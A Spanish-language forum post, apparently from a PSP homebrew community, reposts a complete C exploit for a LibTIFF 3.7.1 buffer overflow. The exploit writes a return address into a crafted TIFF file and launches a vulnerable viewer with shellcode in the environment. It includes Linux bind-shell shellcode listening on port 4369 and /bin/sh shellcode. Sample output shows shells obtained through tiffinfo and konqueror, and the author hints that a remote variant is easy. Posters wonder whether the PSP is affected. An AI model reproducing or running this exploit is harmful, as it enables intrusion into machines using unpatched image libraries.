nuevo TIF XPLOIT???

POS COMO LO LEEIS ...cita de maxconsole:

Hello all,
I have been browing exploit website and wow , a new libtiff exploit today
Quote:
/*
LibTIFF exploit
Tested on LibTIFF 3.7.1
Coded by Agustin Gianni (agustingianni at gmail.com) and Samelat

Blog: http://gruba.blogspot.com

In other versions and/or Linux distributions you might need to
adjust some offsets.

gr00vy@kenny:/home/gr00vy/EXPLOIT$ make libtiff_exploit
cc libtiff_exploit.c -o libtiff_exploit
gr00vy@kenny:/home/gr00vy/EXPLOIT$ ./libtiff_exploit /usr/local/bin/tiffinfo evil.tiff
Using RET: 0xbfffffb4
TIFFReadDirectory:
Warning, evil.tiff: unknown field with tag 260 (0x104) encountered.
evil.tiff:
Warning, incorrect count for field "PhotometricInterpretation" (150341633, expecting 1); tag trimmed.
evil.tiff:
Warning, incorrect count for field "BitsPerSample" (257, expecting 1); tag trimmed.
sh-3.00$

gr00vy@kenny:/home/gr00vy/storage/Exploits/Libtiff-3.7.1$ ./libtiff_exploit
/usr/kde/3.3/bin/konqueror evil.tiff
Linux Enabled
Using RET: 0xbfffffb1
konqueror: ERROR: Error in BrowserExtension::actionSlotMap(), unknown action : searchProvider
konqueror: ERROR: Error in BrowserExtension::actionSlotMap(), unknown action : searchProvider
TIFFReadDirectory: Warning, : unknown field with tag 260 (0x104) encountered.
: Warning, incorrect count for field "PhotometricInterpretation" (150341633, expecting 1);
tag
trimmed.
: Warning, incorrect count for field "BitsPerSample" (257, expecting 1); tag trimmed.
sh-3.00$ exit
exit

Heheh it also works like a remote exploit i would leave that work (easy work) for the
"interested" people.

*/

#include
#include
#include
#include
#include
#include
#include

#define OFFSET 0x3F /* return address offset */
#define SHELL_OFFSET 0x0102 /* shellcode address offset */
#define DISPLAY "DISPLAY=:0.0" /* no comments ... */
#define HOMEDIR "HOME=/tmp/"

int
main(int argc, char **argv, char **env)
{
/* Linux shellcode that binds a shell on port 4369 */
char linux_bind[] = "\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x31"
"\xdb\x43\x89\xe1\xcd\x80\x99\x52\x52\x52"
"\xba\x02\x01\x11\x11\xfe\xce\x52\x89\xe2"
"\x31\xc9\xb1\x10\x51\x52\x50\x89\xc2\x89"
"\xe1\xb0\x66\xb3\x02\x89\xe1\xcd\x80\xb0"
"\x66\xb3\x04\x53\x52\x89\xe1\xcd\x80\x31"
"\xc0\x50\x50\x52\x89\xe1\xb0\x66\xb3\x05"
"\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xb0\x3f"
"\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

/* (?) lies lies lies lies!*/
#ifdef FREEBSD
printf("FreeBSD Enabled\n");
char shellcode[]=
"\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\ x3b\x50\xcd"
"\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\ x68\x23";

#else
printf("Linux Enabled\n");
char shellcode[] =
"\xeb\x20\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c"
"\x88\x46\x07\x8d\x56\x0c\x8d\x4e\x08\x89\xf3"
"\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\xb0\x01\xcd"
"\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x23";

#endif

if(argc < 3)
{
fprintf(stderr, "Error, arguments are like these\n"
"%s \n", argv[0]);
return -1;
}

char *envp[] = {HOMEDIR, DISPLAY, shellcode, NULL};

/* argv[1] -> executable file that is linked with vuln tiff library */
long ret = 0xc0000000 - sizeof(void *) - strlen(argv[1]) - strlen(shellcode) - 0x02;

int fd = open(argv[2], O_RDWR);
if(fd == -1)
{
perror("open()");
return -1;
}

if(lseek(fd, OFFSET, SEEK_SET) == -1)
{
perror("lseek()");
close(fd);
return -1;
}

if(write(fd, (void *) &ret, sizeof(long)) < sizeof(long))
{
perror("write()");
close(fd);
return -1;
}

close(fd);

fprintf(stdout, "Using RET: 0x%.8x\n", (unsigned int) ret);

if(execle(argv[1], "tiff", argv[2], NULL, envp) == -1)
{
perror("execve()");
return -1;
}

return 0;
}

Maybe the psp is not affected but the psp vshell still use libtiff so it might be open to new exploit


POS ESO: yo no me quiero sobreexicitar..pero si esto funciona...
pero igual es el mismo exploit..quien sabe